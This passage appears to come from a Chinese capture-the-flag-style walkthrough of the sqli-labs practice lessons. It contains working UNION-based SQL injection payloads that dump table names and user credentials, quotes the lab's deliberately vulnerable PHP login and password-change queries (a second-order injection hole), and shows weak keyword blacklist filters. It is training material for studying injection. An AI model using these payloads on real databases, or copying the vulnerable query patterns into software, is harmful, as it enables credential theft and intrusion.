?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
Less - 24 Second Degree Injections Real treat -Store Injections
二次注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#login.php
functionsqllogin(){$username=mysql_real_escape_string($_POST["login_user"]);$password=mysql_real_escape_string($_POST["login_password"]);$sql="SELECT * FROM users WHERE username='$username' and password='$password'";...$res=mysql_query($sql)ordie('You tried to be real smart, Try harder!!!! :( ');#pass_change.php
$username=$_SESSION["username"];$curr_pass=mysql_real_escape_string($_POST['current_password']);$pass=mysql_real_escape_string($_POST['password']);$re_pass=mysql_real_escape_string($_POST['re_password']);if($pass==$re_pass){$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
functionblacklist($id){$id=preg_replace('/or/i',"",$id);//strip out OR (non case sensitive)
$id=preg_replace('/AND/i',"",$id);//Strip out AND (non case sensitive)
return$id;}
functionblacklist($id){$id=preg_replace('/or/i',"",$id);//strip out OR (non case sensitive)
$id=preg_replace('/and/i',"",$id);//Strip out AND (non case sensitive)
$id=preg_replace('/[\/\*]/',"",$id);//strip out /*
$id=preg_replace('/[--]/',"",$id);//Strip out --
$id=preg_replace('/[#]/',"",$id);//Strip out #
$id=preg_replace('/[\s]/',"",$id);//Strip out spaces
$id=preg_replace('/[\/\\\\]/',"",$id);//Strip out slashes
return$id;}
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us
过滤了空格和注释的盲注
关闭了详细的报错,可进行盲注,闭合使用')
payload类似上题
less 27 GET - Error Based- All your UNION & SELECT belong to us
过滤了union和select的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
functionblacklist($id){$id=preg_replace('/[\/\*]/',"",$id);//strip out /*
$id=preg_replace('/[--]/',"",$id);//Strip out --.
$id=preg_replace('/[#]/',"",$id);//Strip out #.
$id=preg_replace('/[ +]/',"",$id);//Strip out spaces.
$id=preg_replace('/select/m',"",$id);//Strip out spaces.
$id=preg_replace('/[ +]/',"",$id);//Strip out spaces.
$id=preg_replace('/union/s',"",$id);//Strip out union
$id=preg_replace('/select/s',"",$id);//Strip out select
$id=preg_replace('/UNION/s',"",$id);//Strip out UNION
$id=preg_replace('/SELECT/s',"",$id);//Strip out SELECT
$id=preg_replace('/Union/s',"",$id);//Strip out Union
$id=preg_replace('/Select/s',"",$id);//Strip out select
return$id;}